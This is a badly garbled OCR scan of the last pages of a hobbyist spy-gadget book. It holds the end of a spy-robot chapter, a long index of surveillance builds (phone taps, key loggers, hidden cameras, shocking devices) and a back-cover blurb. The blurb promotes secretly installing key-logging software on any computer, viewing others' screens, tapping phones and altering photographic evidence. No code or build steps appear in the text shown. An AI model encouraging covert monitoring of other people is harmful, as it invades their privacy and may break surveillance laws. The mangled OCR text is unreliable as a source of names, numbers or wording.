Figure  15*59  Alt  systems  check.  Audio  and  video  link  active.  Nighs  vision  enahled. 


Project  101— Spy  Robot  Mission  Testing 


Project  101— Spy  Robot  Mission  Testing 


Figure  15*30  Caught  in  iht  act!  This  nr  thkf  thought  that  nohruiy  hvu  uurdrjiif. 


of  the  part;in£  lot  lowardK  the  target  comer.  At 
itlighily  less  than  walking  speed,  it  takes  a minute 
or  two  to  reach  the  target,  but  thai*s  OK.  there  wa.s 
some  ugly  terrain  along  the  way.  and  the  robot  ate 
It  all  up  without  hesitation.  1 am  now  cresting  the 
steep  hill  50  feet  away  from  the  target  area,  and  the 
video  is  coming  through  crisp  and  clear.  I switch 
the  audio  o?  the  muted  position  and  can  now  hear 
the  whirr  of  the  drive  motors  as  I edge  the  robot 
over  the  hill  and  alongside  a large  ucc  for  cover.  If 
it  were  dork,  the  target  would  be  just  as  well  lit  as 
it  is  now  in  full  daylight,  and  there  would  be  zero 
chance  of  the  ROV  being  spotted  by  anyone.  It 
only  takes  15  minutes  before  the  dark  figure  with 
crowbar  in  hand  appears  on  the  video  screen.  The 
onboard  VCR  is  then  set  to  record.  Looks  like 
another  successful  spy  robot  mission.  Wc  now  have 
clear  video  of  the  perpetrator  in  action  breaking 
into  a car.  Even  at  the  outer  edges  of  transmission 
range,  (he  recorded  video  is  clear  enough  to  make 
a positive  identification  of  the  suspect.  We  hod 
our  suspicions  that  this  was  an  inside  Job! 

Figure  1 3*30  shows  how  the  video  looks  from  the 
far  end  of  the  parking  lot  at  the  portable  base 
station  monitor.  We  can  clearly  identify  (he  suspect 
as  that  guy  from  the  AtumicZombie.com  website. 


U*s  amazing  how  long  you  can  pose  next  to  a car 
with  a crowbar  stuck  in  the  door  and  not  be 
bothered  by  anyone  in  the  middle  of  the  afternoon, 
one  of  (he  many  reasons  why  we  need  high-tech 
toys  to  fi^t  crime! 

So  there  you  have  it — a completely  functional 
al]*icrrain  spy  robot  with  night  vision  and  payload* 
drt^ping  ability  built  from  nothing  more  than  a 
handful  of  electronics  and  some  common 
departmeni  store  items.  This  ROV  may  not  he  uhle 
to  take  a shotgun  blast,  or  break  through  a steel 
door,  but  ax  a cost  of  two  million  dollars  less  than 
the  ones  used  by  law  enforcement,  how  could  you 
ccHnplain!  As  you  can  imagine,  the  addition  of  a 
tool  like  this  in  your  arsenal  of  high-tech  spy 
devices  will  set  you  league.^  apart  from  your 
competition,  and  allow  you  to  embark  on  covert 
spy  missions  never  before  possible. 

Congratulations!  You've  learned  a lot  about  101 
different  spy  gadgets,  and  you  are  well  on  your 
way  to  becoming  a sophisticated  Evil  Genius. 

Have  fun,  be  safe  and  be  sure  to  let  us  know  all 
about  your  projects  at  www.atomiczombie.com. 
We  look  forward  to  seeing  your  Evil  Genius 
creations! 
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shocking  device.  190.  I90f.  191  f 
ultra  small  shocking  device.  i92f 
hacked  baby  monitor  bog,  112 
infrared  device  jaramcr.  JS5f 
micro  stealth  tronsmirier.  12  If 
remote  control  sniper.  214 
video  sender  kii.  127 
classic  nanny  cam.  72-75 
coat  hanger  wire 
parabolic  dish  microphone.  13 
RF  scanners.  176 
coax  cables 
RP  scanners,  176 
coaxial  wire 
microvideo  e&meres.  71 
code 

HKL  microcontroller.  152 
coil 

FM  room  bug,  117.117/ 
payload  delivery  hardware,  238 
color  cameras 
infrared  lighting.  70 
lux  rating.  93 

comfflerciolly  available  computer  voices.  35 
compiler 

limC'Iapse  ttcorduig,  58 
composite  connectors 
video  cameras,  53 
computers 

audio.  14-16 

host 

rinding  I?  address.  37 
monitoriDg,  14^164 
computer  screen  CransmiRer.  162-164 
high'tech  hardware  key  logger.  15(3-163 
resurrecting  deleted  data.  147-149 


srrftware  key  logger.  149-lSO 
personal.  143 

scanner  iiMerface,  I71-I74 
soceo  transouaers.  162-164 
VGAho-TV  cOTVertec.  162-164 
wiring  diagram.  I63f 
sotBid  acdvaled 
call  logger.  25-26 
talks.  34-36 
video.  64-66 
ediliog.65^ 

video  capeure  devices.  64. 64/ 
voices 

cortUDercially  available.  35 
t&guise.  30-32 
conical  piidwie 

classic  oaimy  cam,  74 
ecpven  microvideo  spy  cameras.  69 
lens  cameras 
lux  color.  135 
connectors 
cooTuier  audio.  14 
telepboae  input/ootput  box.  29 
video  cameras,  53 
cmaaet  switches 
iMTOdes  sentinel.  IBOf 
loag*noge  laser  iUununaior.  104 
Coatnd  panel 
Speech  Icon.  35 
eosvccxBiioo 

ttcerded  in  ooUj  room.  16/ 
cookies 

bBenet.  143.  US 

copper  wire 
dasaie  Damy  cam,  73 
FM  room  bug.  116 
hacked  baby  taomtor  taig.  112 
iiBglaases.  7g-79 
cordleu  telephcoes 
sciAfters.  166 
tranonh  fhquenciea.  I67t 
counter 

modoo-seitting  vtrsntL  61 
time-lapse  recording.  57-58. 58 
cover 

oeetiag  weatberproof  shell  223f 
mim  video  cootnriled  spy  robot  226f 
coveetaad  hiddefi  spy  cameras.  69-81 

classic  naany  cam.  72-75 
l(«g*range  video  cameras.  79-80 
marker  g«*n-  7^78 
nucroscope  video  camera,  80-81 
iibcrovideo  cameras.  69-72 
nigfai  visioD  fire  detector  gam,  75-76 
WYSIWYG  swiglmaes.  78-79 
covert  handbag  digital  caniens,  44. 44/ 
covert  hai  cam.  138-139 
covert  matter  cam,  76-78 
breakaway  iDoanling  box.  77f 
covert  israovideo  spy  cameras,  69f 
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crap 

video,  65 
CRT  monitor 

campmer  screen  irmsmittet.  163 
currency 

microscope  and  video  camera.  81 
current  limiting  resUfor 
auiumaiic  call  recorder.  24 

- 

dasbbo&rd 

creating  portable  base  statioa.  240f 
data 

sem  from  keyboard  to  PC.  151  f 
data  access  arnuigement  (DAAK  21 
DC  power  adapters 
microvideo  camerea.  7 1 
waU  wort  video  bug.  137. 137f.  l3Sf 
drawback.  138 
default  voices 
computer.  35 
define  pins/variables 
moclon*sensing  verstoc.  60 
tinie*|apse  recording.  57. 58 
demiliurired  zone  (DMZx  37 
dental  mirrors.  21  If 
digital  cameras 
adaptor.  32 
hacking.  39-32 
black  border.  49 

covert  handbag  digital  cafnero.  44 
enhaKing  digital  phoioa.  39^1 
gun  sighl.  48-50 

long*range  digilal  photography.  50-52 
motion  sensing  camera  trigger.  46-48 
lime  lapse  camera  trigger.  45-46 
trigger.  41-44 

lens  and  eyepiece  distance.  31-52 
digital  photography 
long*range.  3(^32 
digital  photos 
enhancing.  39-4| 
digital  signal  processor  (DSP).  33 
digital  voice  disguiser  circiuL  32-33 
disposable  cameras 
circuit  board.  I93f 
shocking  device.  190.  I90f.  I9lf 
ultra  small  shocking  device.  I92f 
distonioQ,  31 
drive  motor 

microcasene  recorder.  5 
OTMF  decoding.  171.  173. 174f.  175 
software,  174 
dual  switches 

adding  ultrasensitive  audio  preamp.  234f 
dual  iclcphone  jacks 
telephone  audio  interface,  23 
DVD 

remote  control  sniper.  214 


tnooic  stereo  spy.  10-12. 12T 
buUi  into iDelal cabuKS.  Ilf 
schematic.  lOf 

Easy  Recovcsy  Professional,  148 
echo.  31 
EEPftOM,  153 
efecirei  mioophones 
bimuc  stereo  spy  ears,  1 1 
FM  room  bug.  117 
Ugb'gaio  ampUfiec.  7 
nuMmedia 


bionic  stereo  spy  ears.  10 
preamplificsdon 
schematic.  233f 
siaee.  I8f 

ulrasensiilve  room  bug.  119 
wiring  body.  18 
equaliaation,  16 
equalizing  fillers.  17 
euensioo  cables 

computer  screen  transnuiter  project.  164 
Bucrocaseite  racosder,  6. 6f 
euenul  antennas 


remote  ceetrol.  242f 
eye^ece 

long-range  video  cameras.  79 
micrmcope  and  video  camera.  81 


facial  tissue  boz 

FR$  radio  long-nogo  bug.  114. 1 15f 
family  radio  frequency 
scoonen.  166 
fenily  radio  service 
transmit  ftequcncies.  167i 
tamily  radio  system 
)oo|*raiige  bug.  1 13-1 15 
long-term  operation.  1 13 
radio.  I13f 
feedback 


biooic  stereo  spy  ears.  1 1 
field  cd  view.  71 
wide  angle  vs.  narrow.  72f 
files 

recovering.  147-149. 148f 
filters 
audio. 

formats.  16 
equalizing.  17 
image  suTiwaie.40 
initired  pass,  100.  lOOf 
Wraneo  gelatin  ictiared,  70 
flange.  31 
fUshJigbi 

disposeWe  camera  circuit  board.  I93f 
FM  room  bug,  115-118,  I18f 


I 
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FM  iransmiReis.  1 16f 
fbcusiag  lens 

l&ng-ragge  laser  Uhuzunaior,  106f 
fonnar  shiftm|.  31 
front  «nd 

creating  u««itiwrproof  shell,  221 
front  panel 

Video  camexi  aad  night  visiof)  system.  227f 
FRS  (fouiily  radio  system) 
long-range  bug,  II 3-1  IS 
long-term  operation,  1 15 
radio,  1131 


gorilla 

classic  nanny  cam.  74, 74f 
green  laser  pointer.  104 

hacked.  I04f 
green  wires 

micruvideo  cameras.  70 
super  stealth  line  top.  27 
telephone  audio  imerface,  22 
telephone  line  traosmiuer.  123 
gun  sight.  49 

aligned  with  camen,  SOf.  5 1 f 
digital  camera.  SO 
laser  microphone  experimenL  209 
remote  control  sniper.  2I8f 


hacked  baby  monitor  bug.  1 1 !•!  13 
hacked  grten  laser  pointer.  I04f 


hacked  mlcrorecorder 
placed  in  cloihiDg.  IB 
hacked  video  seukr,  I29f 
hacking  remote  coocrol  loy  base.  2 1^220 
HAM  nidco  operator’s  license.  130 
handbag  digital  cameras,  44. 44f 
coven.  44. 44f 
handset 
removal.  28f 
bendwt  vriees 
telephone  base.  28f 
bard  disk  drives,  147,  |47f 
hardware  key  tngger  (HKL) 
huildlng,  15M52 
defined,  15CM31 
high.tecb,  ISO-163 
perf  board,  IfiOf 

prototyping  breadboard.  154,  I54f 
schematic,  I53f 

source  code  In  PicBasIc  fonoai.  154-161 
wrapped  and  sealed,  Iblf 
hard* wired  telephone  devices.  21-38 
auioiTuiiic  call  recorder,  24-25 
computer  vcMe  disguise.  3(^32 
compute  talks,  3^36 
digital  voice  dlsguiscr  circuit  32-33 


sound  eclhwd  counter  call  logger.  2^26 
super  stealU)  line  up.  26-28 
celqibooe  audio  iot^ace,  21-23 
tdefdwoe  inpuiAwrput  box,  28-30 
lelefdKMie  voice  change.  33-34 
word  wide  letepbone  tap.  36-38 
hat  cam.  138-139 
hat  camens 
covert  138-139 
headphonalsl 

FRS  radio  loflg*raage  bug.  1 14 
stereo 

siqier  slealib  line  up.  27 
headphone  jacks 
grouTHl  connectioo 
super  sieaJih  line  up.  27 
laser  bean  receiver,  203 
scaner  auto  recording  swiich.  169 
Ittdden  files 

settiag  folder  view.  I4tf 
imiocldog.  145-146 
hidden  folders 
unlocking.  145-146 
hlddea  spy  camcfas.  69-81 
classic  nanay  cam.  72-75 
kMig*iiBge  video  cameiBs.  79^ 
naiter  cam.  76-78 
microscope  video  camen.  80-81 
mlcTovideo  cameos.  69-72 
night  vision  fire  detector  cant  75-76 
WYSrh'YG  sufiglasses,  78-79 
higb'iccfa  hardware  key  logger  (HKL),  1 50-1 63 
Holtck  KT8930  Vrice  Modulator  1C.  32. 32f 
borne  eniertainmeat 
remote  comnl  esiper,  2 N 
hook 

phone  bate.  29f 
hook  switches 

lel^hohe  iopMAuitpift  boa.  29 
host  computers 
finding  IP  address,  3? 


74121 1C.  46 
illumlsiator  fOK.  109 
image  edmng  softwarv,  39 
image  sensor 
video  camera.  95 
incaodesceot  light  bulbs.  99 
Hifrared.  94-95 

infrared  devka  jaaoaer.  184-186. 186f 
schematic.  185f 
Infrared  filters 
Wnoeo  geUtio.  70 
mfiaicd  laser 
Ulunuoator.  102-103 
source.  104 
module.  2I» 

spy  camera  bike.  186. 187f 
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infrared  laser  (C(w.) 

without  module  at^usiabte  lens.  103f 
inAarcd  LED 
iUuminstor  box.  I09f 
LED  pulsing  clrcuii.  9Sf 
remote  control  sniper.  214 
shielded  signal*  cable  replKcmeM.  2 1 6f 
video  oamera  and  night  visioo  system.  226 
infrared  motion  sensors,  47 
infrared  pass  Ellers.  100.  lOOf 
inEared  lemoie  control,  95f 
inpuijacks 
insiallation.  2if 
microphone 

FRS  radio  loD|*raoge  bug.  1 14 
remote  control  sniper.  216 
input  switches 

telephone  input^output  box.  29 
internal  micro^^iones 
micreeasette  recorder.  5 
imemai  spealcer 
laser  beam  receiver.  203 
Toternet 

cache,  143.  144f 
HT8950  datasheet.  33 
operating  systems.  143 
temporary  Ales.  I43-I4d 
text  10  speech  demo,  36 
Internet  Explorer,  143-144. 146 
intruder  xentinel.  I79>I8I 
door  alarm,  I8lf 
schematic.  179f 

invisible  light  mmsmitterx,  I23>125. 125f 
ipconflg. 37 

1RF51 1 logic  level  FET.  97 


Jucka 

dual  tele^ione 
iclephone  audio  interface.  23 
headphone 
ground  conocction 
super  stealth  line  tap.  27 
laser  beam  receiver,  203 
scanner  auto  recordir^  switch.  169 
input 

installation,  28f 
remote  control  sniper.  216 
microphone  input 

FRS  radio  loog*r«nge  bug.  1 14 
output 

installation.  2Sr 
remote 

automatic  call  recorder.  25 
stereo 

LM3S8  Iow>noise  operational  ampUAer  IC  seu  9 
telephone  inpul/output  box.  29 
two-conductor 

mtcTOConmlkr,  S6f 


Kamikaze  lawn  dart  video  transmitters,  142f 


label 

lime-lapse  recording.  58 
laser;  see  Infrared  User 
laser  beam  receiver.  202-204, 2Q3f 
sebematk,  202( 

laser  beam  transmitters  200-201 

schematic.  20lf 

perf  boatd.  20lf 
laser  micropbooes 
arcuit 

hand  wired.  207f 
receiver 
scbemaiic.  207f 
window  simuUior.  208f 
lasernoculnre.  197-200. 197f,  I99f 
pushbunon  switchoi.  198 
laser  perimeter  aUm.  2 1IV2 14 
schematic.  21 2f 
laser  poiflier.  21  If 
extenukl  power  leads.  I98r 
Usemoeulars.  199 
laser  persmeier  oUnn.  2l2f 
laser  spy  gadgets.  197-218 
laser  beam  receiver.  202-204 
laser  beam  iraascmner.  200-201 
laser  miemphone  experiment.  20*~2\0 
lasemoculm.  197-200 
laser  perimeter  alarm.  210-214 
remote  control  sniper,  2 14-2 1 8 
lawD  dan  cam.  141.  14^ 
laws 

audio  airveillaDce.  67 
video  surveiUsAce.  67 
LCD  mooitor 

ecmpuwr  screen  tnnsmiuer.  163 
creecing  poiuMe  base  station,  239 
video  signal  recording.  54.  S4f 
LED:  see  o/ro  Infrared  LED 


asTiy  illuminator 
pulftcd  mode.  99f 
infrared  device  jammer,  1 85,  l8Sf 
infrared  light.  95 

invisdile  lighl  transmitter.  124 
laser  nifcrophooe  eipenment,  205 
LM358  kwHtoise  operational 
amplirier  IC  set.  9 
mini  video  contfxdled  Spy  robot.  224 
night  visioo  fire  detector  cam.  73-76 
night  visicn  ilhininalor.  96-97 
wiring  LEOs.  96f,  97f 
overloading  ira^  99f 
remote  cootrol  super.  214 
shocking  device.  189 
smoke  testing,  98 
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video  camera  and  nighc  >19100 
sysiein.  227f,  228f 
leos  caps 

long*raoge  video  cameras.  79f 
leaser 

coven  haridbag  difital  camera.  44 
iong*raitge  laser  Uluminaior.  lOS.  lOSf 
microvideo  camera&.  71 
light  bulbs 
iQcundcsceiU.  99 
and  socket " 

soup  can  rnountiog.  lOOf 
light  emiuing  diode:  see  LED 
line  input 
computer,  15 
coooeciors 

video  cameras.  53 
line  taps:  ste  Super  stealth  line  laps 
listening  device;  ste  ols^  Bionic  stereo  spy  ears 
super  siealib  Use  tap.  27 
live  video 

processing  single  frame.  4lf 
Live  video  feed 

ftom  remote  video  camera.  67f 
LM356 

audio  amplifiers 

laser  microphone  expehmem.  206 
LM358 

low*noise  operationat  arapunar  1C  ses.  7 
ompli^cng  electret  microphone.  8f 
apemtioDal  amplifiers 
laser  microphone  experiment.  206 
LM386 

bionic  stereo  spy  ears.  10 

1C,  202f 

microphone  praamp.  ] I 
local  sellings.  146 
Long  Play^LP).  54 
]ong*range  digiial  photography.  50-52 
long*range  photography 
brighincss'crvhanced  area.  52f 
long'Cerm  telephone  call  loggiag.  26 
low  lux  cameras 
night  vision  devices.  93-94 
night  vision  headgear.  lOSf 
low  power  transmitters.  116 
lux  color  conieal  piahok  leas  cameras 
movie,  135 
lux  rating,  93 

covert  micrpvideo  spy  camera5. 69 
lux  video  cameras 
remote  control  sniper,  2 IT.  218 


magnifying  gia^s.  80-81 
main  loop 

miCTuconlrDllcc  servo  contiol.  87. 88 
motion  tracking  controller.  91 


uoK^apse  lecordaog.  57. 58 
manual  axuroUed  ser>*o  base 
video  camera  pan  and  dJt  cooirol.  85-86,  86f 
marker  cam.  76-78 
breakaway  mounting  box.  77f 
mercury  swUches 

motion  actrvBied  shocker,  194,  194f 
movie.  136 
iDicioeaaieras 
pinhole  lees.  TTf 
miaocasene  fceorder 
(hawbacks.  5 
bisides.  5f 
mkrocontroller 

conoolled  pan  dll.  S9f 
servo  coacfc4 
program  cotfe.  87-89 
liffiC'Upse  Rcordiag.  5^56. 58 
aueraphoae(s>;  see  dso  Bechet  micn^jboues 
oddiag  uhiaaensliive  audio  preamp.  233 
Boss  VT'I  ^Aiice  Transfonner  effect  box.  34 
buUl'in 

ouerocaieite  recorder.  6 
computer.  IS 

FRS  radio  long*nBge  bug.  1 14. 1 14f.  1 15f 
hacked  baby  iDonitor  bug.  112 
bidden  in  cinching,  1 8 
mienul 

tikieroeasene  Reorder.  S 
laser 

window  simulator.  208f 
miCTOcasene  recorder.  7. 7f 
panboUc  dish.  12>14 
fastened  to  coat  hangR  wire.  13 
mourned  on  tripod.  14f 
remotely  operaicd  vehicle.  219 
wireless 

FM  raoenbug.  116 
word  wide  telephone  36 
Bucropbone  input  jacks 
FRS  radio  l^*nnge  bug.  1 14 
microphooe  preamp 
bU^  box  versioo.  9. 9f 
circuk.234f 
moimmg.  234. 234f 
ultra  higlhgain.  T-9 
computer.  15 
tnietorecorder 
hacking.  5-7 
placed  in  clodiiag,  18 
Microsoft  NeLMeeting.  3^37 
automalically  accept  calk,  36-37 
nuio  prognoi  windows.  37f 
Microsoft  WcKlowx.  143 
micro  ^ innsmioera.  129-131 
micro sieahb  traflxminers.  I2lf 
tnicroawiiches 
movie.  136 

micro  traDsminas,  130f 
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Index 


microvideo  cameras,  69-72 
(ngtaiJ  comtecior.  70. 70f 
microvideo  spy  cameras.  69f 
covert,  69f 

military  night  vision  systems,  69 
mim  video  controlled  spy  robot  219-244 
adding  panning  camera  head,  223^224 
adding  ulirasensmve  audio  preitfnp.  232-235 
base  station  wiring  and  insuHaiion.  241-242 
creating  portable  base  stadon,  239>240 
creating  weatherproof  shell,  221-223 
hacking  remote  control  base.  219-220 
payload  delivery  hmciion,  235-23? 
payload  delivery  hardware.  237-238 
RC  receiver  to  servo  bridge  circiui.  228-232 
testing.  243-244,  243f.  244f 
video  camera  and  night  vision  sy&aem.  22^228 
mirrors 
dental.  2 1 If 

laser  perimeter  alarm.  213. 2l3f 
modem 
core.  22f 

telephone  eudio  interface.  22 
modulation 

loser  microphone  expenmeot.  20S 
modulaior  boa 
remote  control  sniper,  218 
monitors 

computer  screen  innsmitier,  1 62*  164 
hacked.!  I Ml  3 
LCD,  163 

creating  portable  base  station,  239 

video  signal  recording.  54. 54f 
NTSC  video 

night  vision  headgear,  i07f 
video 

night  vision  illuminouon  devices.  102-103 
mono  plug 

Boas  VT I Vwc  Treiufomwr  effect  boa.  34 
motion  activated  shocker.  193- 195.  l9Sf 
motion  controlled  auto  record,  59-61 
motion  sensing  camera  ihgger,  4^48 
schematic,  47f,  48f 

motion*sensing  versions 
modified  program  code,  60-61 
motion  switches 
motion  activated  shocker,  194 
motion  tredung  cameras,  90-92 
mniion  (racking  controller 
olignment  testing.  91f 
schensaiic.  90-9  i . 90f 
motion  trigger 

motion*sensing  version,  61 
mounting  block 

mini  video  comr^led  spy  robot  225f 
movie 

video  transmitters,  135-136.  135f,  1361 
multimedia  electrei  microphooes 
biooic  stereo  spy  ears.  10 


N 

nanny  cam 
cUssk.  72-75 
85>nanonie<er  in&ued  laser 
without  module  adjustable  kns.  103f 
NatMoal  Television  System  Commlnee 
video  iDonilors 
oigbi  vistoo  headgear.  I07f 
video  signal.  53.69 
vtewfioders,  107 
Nd:YV04. 104 

neighbofbood  RF  scanners.  165-168 
base  uok.  16Sf 
scanning  speed.  168 
squefcb,  168 

night  visioo  devices.  93-110 
headgear,  107-M0 
inftared.  94-95 

infrared  laser  lllununaior.  102-103 
[_fp  nigbt  visioa  iUumiaaior,  96-97 
kag*range  laser  tllumioaior,  104-107 
low  liu  cameras,  93-94 
outdoor.  99-10] 
puUed  LEDs.  97-99 

nl^  vision  Bre  detector  cam.  75-76, 76f 
night  vjskm  systems 
miliury,  69 

video  aunere.  226-228.  227f 
nme 
ambienl 

determimiig  gain  setting,  7^ 
parabolic  dish  micn^hone,  14 
source.  17 
while 

generator,  181-114 

oon*focused  infrared  laser  module,  I03f 
NPN  transistors 
tuioanaiic  call  reemder.  24 
FM  coom  bug.  117 

NTSC  iNMional  Television  System  Committee) 
video  cnooitors 
night  visioA  headgear.  i07f 
video  signal.  53. 69 
viewfindere,  107 


OEM  audio  video  transminers.  130 
OEM  oansnutters.  127 
one  transistor  transminere.  116 
optical  zoom 

digital  camera  hacking.  48 
omdonr  antennas 

RFscannen.  176, 176f 
outdoor  soup  can  illuminator.  lOSf 
outpoi  jacks 

insialUtioo.  28f 


252 


output  switches 
(etephone  tnpui/output  box.  29 


Paint  Shop  Pro,  40 
pan  conirol 
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non  SPY  DEVICES 
FDR  SERIOUS  SNOOPING 

This  build  it  now,  learn  as  you  go  book  offers  an  amazingly  awesome  and  complete 
collection  of  professional  spy  tools  that  you  can  create  yourself  for  $30  or  less!  Even  total 
beginners  to  electronrcs  can  construct  these  mind-boggling  snooping  tools — and  have 
lots  of  fun  In  the  process. 

You  get  completer  easy-to-follow  plans,  clear  diagrams  and  schematics,  and  hundreds 
of  pictures,  f Of  Spy  Gadgets  for  the  Evil  Genius  gives  you: 

» Illustrated  instructions  and  plans  for  amazing  sleuthin'  'n  snoopin’  devices, 
presented  In  sufficient  detail  to  be  built  even  by  newcomers 

« Loads  of  projects  simple  enough  for  new  spies  to  construct  easily,  progressing 
In  complexity  to  devices  that  will  excite  investigation  professionals 

• Explanations  of  the  science  and  math  behind  each  project 

« Frustration-factor  removal — needed  parts  are  listed,  along  with  sources 


101  Spy  Gadgets  for  the  Evil  Genius  equips  you  WFth  complete  plans, 
Instructions,  parts  lists,  and  sources  for  devices  that  let  you: 


Build  and  install  a nanny  cam  for  viewing 
and  recording  activity  from  afar 
Hear  and  cecord  what's  said  from 
great  distances 

See  and  photograph  in  the  dark 
Wire  yourself  for  undetected  recording 
Construct  a hidden  briefcase  camera 
Tap  and  record  telephone  conversations 
Privately  record  every  called  number, 
with  a time  stamp,  from  any  phone 
Build  a secret  time-lapse  camera 


Build  and  install  motion-dctivated 
spy  cameras  or  listening  devices 
Alter  photographic  evidence 
Digitally  disguise  your  telephone  voice 
Secretly  install  key-logging  software  to 
see  what's  done  on  any  computer 
Learn  what  Web  sites  others  are  surfing 
Recover  deleted  computer  files 
View  other  peoples'  computer  screens 
from  your  PC 

Control  your  spy  equipment  fTom  afar 
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